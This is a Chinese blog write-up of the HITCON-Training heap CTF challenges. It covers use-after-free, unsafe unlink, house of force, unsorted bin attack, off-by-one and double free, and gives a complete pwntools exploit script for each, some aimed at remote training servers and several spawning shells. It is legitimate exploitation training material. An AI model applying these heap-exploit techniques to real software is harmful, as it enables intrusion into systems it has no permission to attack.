avatar

HITCON-Trainning Heap

hack_note

–Use_After_Free
  • 1.checksec
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 2.IDA

得到几个选项+后门

def add(sz,text):
p.sendlineafter("choice :","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def dele(idx):
p.sendlineafter("choice :","2")
p.sendlineafter(":",str(idx))
def show(idx):
p.sendlineafter("choice :","3")
p.sendlineafter("choice :",str(idx))

backdoor:

int magic()
{
return system("cat /home/hacknote/flag");
}

free:

free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts("Success");

这里free后指针未清造成UAF

  • EXP
from pwn import *
p = process("./hacknote")

def addnote(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def delnote(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))

def printnote(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

if __name__ == '__main__':
magic = 0x08048986
system = 0x8048506
addnote(32,"ddaa")
addnote(32,"ddaa")
addnote(32,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
p.interactive()

bamboobox

  • checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA
def add(length,name):
p.sendlineafter(":","2")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def edit(idx,length,name):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
def free(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))
def show():
p.sendlineafter(":","1")

back_door

void __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}

change_item

 printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}

堆溢出

**1.unsafe unlink: **对进行 unlink chunk 进行内存布然后借助 unlink 操作来达成修改指针的效果。个人认为通过堆溢出伪造一个chun伪造的chunk一般在fd和bk上不同

**2.house of force: **

进行堆分配如果所有空闲的块都无法满足需那么就会从 top chunk 中分割出相应的大小作为堆块的空间。

那当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案可以使得 top chunk指向我们期望的任何位这就相当于一次任意地址写。 --CTFWiKi

需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小
  • EXP-1

unlink

原版EXP方便理解所以直接拿来用了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11011


r = remote(host,port)

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

additem(0x40,"a"*8)
additem(0x80,"b"*8)
additem(0x40,"c"*8)

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)#修复
fake_chunk += p64(0x90)#修复

modify(0,0x80,fake_chunk) #unlink
remove(1)

payload = p64(0)*2
payload += p64(0x40) + p64(0x602068)
modify(0,0x80,payload)
show() #libc base leak
r.recvuntil("0 : ")
atoi = u64(r.recvuntil(":")[:6].ljust(8,"\x00"))
libc = atoi - 0x36e80
print "libc:",hex(libc)
system = libc + 0x45390

modify(0,0x8,p64(system))
r.recvuntil(":")
r.sendline("sh")
r.interactive()

这里可以看见我们伪造的堆结构:

ptr = 0x6020c8
fake_chunk = p64(0) #prev_size
fake_chunk += p64(0x41) #size
fake_chunk += p64(ptr-0x18) #fd
fake_chunk += p64(ptr-0x10) #bk
fake_chunk += "c"*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
  • 3.EXP-2

house of force

from pwn import *

r = process("./bamboobox")
elf = ELF("./bamboobox")

def alloc(length,context):
r.recvuntil("Your choice:")
r.sendline("2")
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the name of item:")
r.send(context)

def edit(idx,length,context):
r.recvuntil("Your choice:")
r.sendline("3")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil("Please enter the new name of the item:")
r.send(context)

def free(idx):
r.recvuntil("Your choice:")
r.sendline("4")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))

def show():
r.sendlineafter("Your choice:", "1")

def exit():
r.sendlineafter(":", "5")

alloc(0x30,'aaaa')

payload='a'*0x30+p64(0)+p64(0xffffffffffffffff) #house of force
edit(0,0x40,payload)

magic=elf.sym['magic']
malloc_size = -(0x40 + 0x20)-0x10

alloc(malloc_size,'aaaa')
alloc(0x10,p64(magic)*2)
exit()
r.interactive()

magicheap

— Unsorted_Bin_Attack

控制 Unsorted Bin Chunk 的 bk 指针

  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA
def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))
def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

back_door

int l33t()
{
return system("/bin/sh");
}

edit_heap

printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");

未控制边堆溢出

  • 3.EXP
from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13)) #<--控制bk指针

add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()

为什么是p64(l33t-0x13)?

经过动态调试得该处是unsorted bin链表

为什么edit(3,‘a’*8)?

覆写magic的值为‘0x6161616161616161从而进入后门

heapcreator

— Off_By_One
  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

日常增删查改

def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)
def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)
def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

edit

printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
puts("Done !");

人为的多读取了一个字节(off by one使得我们可以控制下一个chunksize,再得到`libc base 最后改free为system

  • 3.EXP
from pwn import *
context.log_level = "debug"
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./heapcreator")
p = remote("node3.buuoj.cn",29082)

def add(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)

def edit(idx,content):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",content)

def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def delete(idx):
p.sendlineaftr(":","4")
p.sendline(":",str(idx))

if __name__ == '__main__':
add(0x18,'aaaa')
add(0x18,'aaaa')
#gdb.attach(p)
edit(0,'/bin/sh\x00'+'a'*0x10+'\x41') #<-off by one
#gdb.attach(p)
delete(1)
#gdb.attach(p)
add(0x30,p64(0)*4+p64(0x30)+p64(elf.got["free"]))
#gdb.attach(p)
show(1)

leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base=leak-libc.sym["free"]
sys_addr = base+libc.sym["system"]

log.success("leak addr=>0x%x",leak)
log.success("libc base=>0x%x",base)
log.success("system addr=>0x%x",sys_addr)

edit(1,p64(sys_addr))
delete(0)
p.interactive()

secret_garden

—Double_Free
  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 2.IDA

原来的菜单有很多无用的函有用的就两个

def create(lenght,name,color):
p.sendlineafter(":",'1')
p.sendlineafter(":",str(lenght))
p.sendlineafter(":",name)
p.sendlineafter(":",color)
def delete(idx):
p.sendlineafter(":",'3')
p.sendlineafter(":",str(idx))

back_door

int magic()
{
return system("/bin/sh");
}
  • 3.EXP

原版EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

host = "training.pwnable.tw"
port = 11012

#r = remote(host,port)
r = process("./secretgarden")

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def visit():
r.recvuntil(":")
r.sendline("2")

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def clean():
r.recvuntil(":")
r.sendline("4")

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")

r.interactive()
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/HITCON-Trainning_Heap/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信